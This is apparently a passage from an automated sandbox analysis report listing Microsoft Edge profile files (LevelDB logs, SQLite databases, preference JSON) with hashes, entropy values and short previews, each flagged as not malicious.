SHA-512:	7096123860BD36F14F68C8FD2E4EA4807C97F8A9ED3F1F9DD27478B407956C3E7DBF9EB0643F6A923BA2D18F5EB888AFFAAE21A906F6221EDCF85BF39D9D94BC
Malicious:	false
Preview:	2024/11/26-04:09:17.423 1610 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/26-04:09:17.425 1610 Recovering log #3.2024/11/26-04:09:17.425 1610 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648888124709614
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMeSAELyKOMq+8yC8F/YfU5m+OlTLVumU:Bq+n0Je9ELyKOMq+8y9/Owf
MD5:	CD8F5DB16DEBF11620D3D7F48B2F57B5
SHA1:	8D82947C4905F32F18BC0A07B4DBEFE670698AAF
SHA-256:	79B4DC1D60373C4051AD86BFAA96E80848E01193E582F266F2A39BBD80B0B3BA
SHA-512:	E528504251B04EC21E70D98CA24943E2C14D5C5053123F01958DD835E7234A282A366E1281F6E22F2DE1C0E10A4725B80B6F65BA19DC36EC3B69AC4243BC1494
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4665994041205371
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0re+p2:v7doKsKuKZKlZNmu46yjx0r6
MD5:	357613B55C3BFCAF8223ADF47DA29F9D
SHA1:	39EBA2618CF1A8B454D58C49BB85297606D051BD
SHA-256:	DBE378DD9F5F3EE1BBB2BB310FC5109ECCE836E6C4818F1A5389F86D5BB229F7
SHA-512:	F3F65350AD310132541FDDC6FD3E733DCE0DCE2CB03B0BC107C2F3642D5BDA02B9D4839CFF52021D0028D792D2606D790EEE326743BDF31C9394E6F3E8CD4B5C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a8e7f009-2ab5-4bc8-adc5-29fa201388b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cd0d6c33-bea8-493f-913d-99f58ae1faa6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17264), with no line terminators
Category:	dropped
Size (bytes):	17268
Entropy (8bit):	5.484076148286129
Encrypted:	false
SSDEEP:	384:st8PGQSu4NsMwfh+W4/y2pnyAbG4QwXb6W/aTYz:sKOXu+wfgLfbGHEbaTYz
MD5:	033CA9EBBA573268A7D1B5F96EABD0FF
SHA1:	10DB0AC5B4AD1FF156EC70505B0CBDB18367EE7C
SHA-256:	9A041D7DADA656AEA56B5071AAF104E53816D661A62EA66BBD09E080EC4DFAA0
SHA-512:	84726449583505E1903BF73D204E23168DABD9D3E6DC54D73B2D07D2620D29F889668CB7B5E9C263B568A724078912B5CBEFFB4B8ADE0690A3FEAEE0E32C6202
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10215726744342417
Encrypted:	false
SSDEEP:	12:+NViz1NViYLspEjVl/PnnnnnnnnnnnvoQ/Eou:+NVW1NVYoPnnnnnnnnnnnv1j
MD5:	623B6C4DCBB4824FA02F997BFC30411B
SHA1:	71CAD6D702794D5BFCF117E9E74119D1BC41479A
SHA-256:	3D8CCE487962129ECC6F36631698F0A754BF052CD383681F5E27BA6DD68FD331
SHA-512:	3B7BA46B871EBA590D6DA9DBD2321126EB7033F949F19791FB78CC2DF120C44E23FC55EE78B64E3DBE2E8741D5C1CCB1A750742BD1A3CABA8DA33823A014349E
Malicious:	false
Preview:	..-.............M.......x9..[L...4..}....r......-.............M.......x9..[L...4..}....r............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8878483021570583
Encrypted:	false
SSDEEP:	384:G2260mfZQFVho5no4y4QOzkAVJziqj12Wv8wGyiyZ6y0ycGylxyIM:+z22grXUo
MD5:	73CB1FD5AD987F34F236F923A0726CAD
SHA1:	436921A1C8B5562E4DAB22C9DC892AB7C2F2B0FD
SHA-256:	07C704D712C9464A1062E5F8E8B47AC30FA54234ADDC4135BA8624E16742CB07
SHA-512:	9BF124FDEE652B648E769BFD16084DD6CDE860681D310EAC9F40B17956A5EAA87C14AE917DC29A145A6E11BCBAE3920F4C020CC62B8891B2D4450395EB1253D8
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.556977189690937
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuNll9na8CV:iDJl96V
MD5:	7E008D73B99138B215BF295CBBCDBD6E
SHA1:	BB6A690A70BAC8A3C0E382CB45AE20221890A893
SHA-256:	CBDED7B0A72B0412B57C62F51BFC7F7DA92790BFDE77BA24332B41E6AE93B37D
SHA-512:	B12426B3C3515F0CA3F3D7F6F8C4E271DC2E0168DDD986A31210DBE5CFE1C8E977CF30BAC5A76C19E8AF3DF8BB85854DE691FB284389F5D13202069AE8CA586E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................;...............#38_h.......6.Z..W.F.....V!D.....V!D.........V.e................V.e................9...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2241636112395815
Encrypted:	false
SSDEEP:	6:HKZAGSwQ+q2P923oH+TcwtfrK+IFUt8YKZZugZmw+YKZZuQVkwO923oH+TcwtfrF:q6GpQ+v4Yeb23FUt8Rbug/+RbuQV5LYq
MD5:	E84A40675B01DFC8AAA5A0377F8AE1BF
SHA1:	0FD5034990451F13F90867DD939800C2487C8BFD
SHA-256:	5F4B5C31C54FD12722F7814E095A85B85040A16C4C2ABEC914AACBFB3621A5D2
SHA-512:	34FD412A087D3EF7998EE175042F8206B1CC7DDEF0A0FEC51574697810F246A2B2374BA91476538CB5E5C6DE4AAAF24287CAFD8EFDA707D2846AE3B6E00F7EE9
Malicious:	false
Preview:	2024/11/26-04:09:18.195 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/26-04:09:18.196 c2c Recovering log #3.2024/11/26-04:09:18.196 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2241636112395815
Encrypted:	false
SSDEEP:	6:HKZAGSwQ+q2P923oH+TcwtfrK+IFUt8YKZZugZmw+YKZZuQVkwO923oH+TcwtfrF:q6GpQ+v4Yeb23FUt8Rbug/+RbuQV5LYq
MD5:	E84A40675B01DFC8AAA5A0377F8AE1BF
SHA1:	0FD5034990451F13F90867DD939800C2487C8BFD
SHA-256:	5F4B5C31C54FD12722F7814E095A85B85040A16C4C2ABEC914AACBFB3621A5D2
SHA-512:	34FD412A087D3EF7998EE175042F8206B1CC7DDEF0A0FEC51574697810F246A2B2374BA91476538CB5E5C6DE4AAAF24287CAFD8EFDA707D2846AE3B6E00F7EE9
Malicious:	false
Preview:	2024/11/26-04:09:18.195 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/26-04:09:18.196 c2c Recovering log #3.2024/11/26-04:09:18.196 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.194221567419966
Encrypted:	false
SSDEEP:	6:HKZvuQ+q2P923oH+TcwtfrzAdIFUt8YKZlugZmw+YKZG0QVkwO923oH+TcwtfrzS:qNuQ+v4Yeb9FUt8Rnug/+RBQV5LYeb2J
MD5:	4280FAB2B1E13283E135B36D627EE53B
SHA1:	AEAB695EE3935FEFB5209965455E92DCF6C28EC5
SHA-256:	B2E3D081E3A6808D0DF3878225F1AA1CF84876639D88B1940AC92BA741A10D53
SHA-512:	0508FEE713909051A566D14D6E7339B029161E72C6E344B304EA2A6F3518472F668A49BEF887BFD8FEC62AB2C390F4ECB7E405C18343BBD3327692B10A9E2273
Malicious:	false
Preview:	2024/11/26-04:09:18.132 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/26-04:09:18.192 c2c Recovering log #3.2024/11/26-04:09:18.193 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.194221567419966
Encrypted:	false
SSDEEP:	6:HKZvuQ+q2P923oH+TcwtfrzAdIFUt8YKZlugZmw+YKZG0QVkwO923oH+TcwtfrzS:qNuQ+v4Yeb9FUt8Rnug/+RBQV5LYeb2J
MD5:	4280FAB2B1E13283E135B36D627EE53B
SHA1:	AEAB695EE3935FEFB5209965455E92DCF6C28EC5
SHA-256:	B2E3D081E3A6808D0DF3878225F1AA1CF84876639D88B1940AC92BA741A10D53
SHA-512:	0508FEE713909051A566D14D6E7339B029161E72C6E344B304EA2A6F3518472F668A49BEF887BFD8FEC62AB2C390F4ECB7E405C18343BBD3327692B10A9E2273
Malicious:	false
Preview:	2024/11/26-04:09:18.132 c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/26-04:09:18.192 c2c Recovering log #3.2024/11/26-04:09:18.193 c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36b1f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36b2e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36cf4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090798328004448
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu62tbz8hu3VlXr4CRo1
MD5:	03C4B71B68C6F0A15DBEC95F8BAEE4E4
SHA1:	547511CC548A740A4AB93AE10BC3F82B3306FB6F
SHA-256:	E264F3A9EF239D13FC5277352A3462DD5F358C1803E732F23E621F301B3EE51B
SHA-512:	6E5B4DDB4F164A4F70ECB16BBE0F7940336DCA9EC8E5F1D9846DC264856C579A3C97BF838F924789239774EC759E05E03DE98C895FF1004CD9E1EB79C86AADC2
Malicious:	false
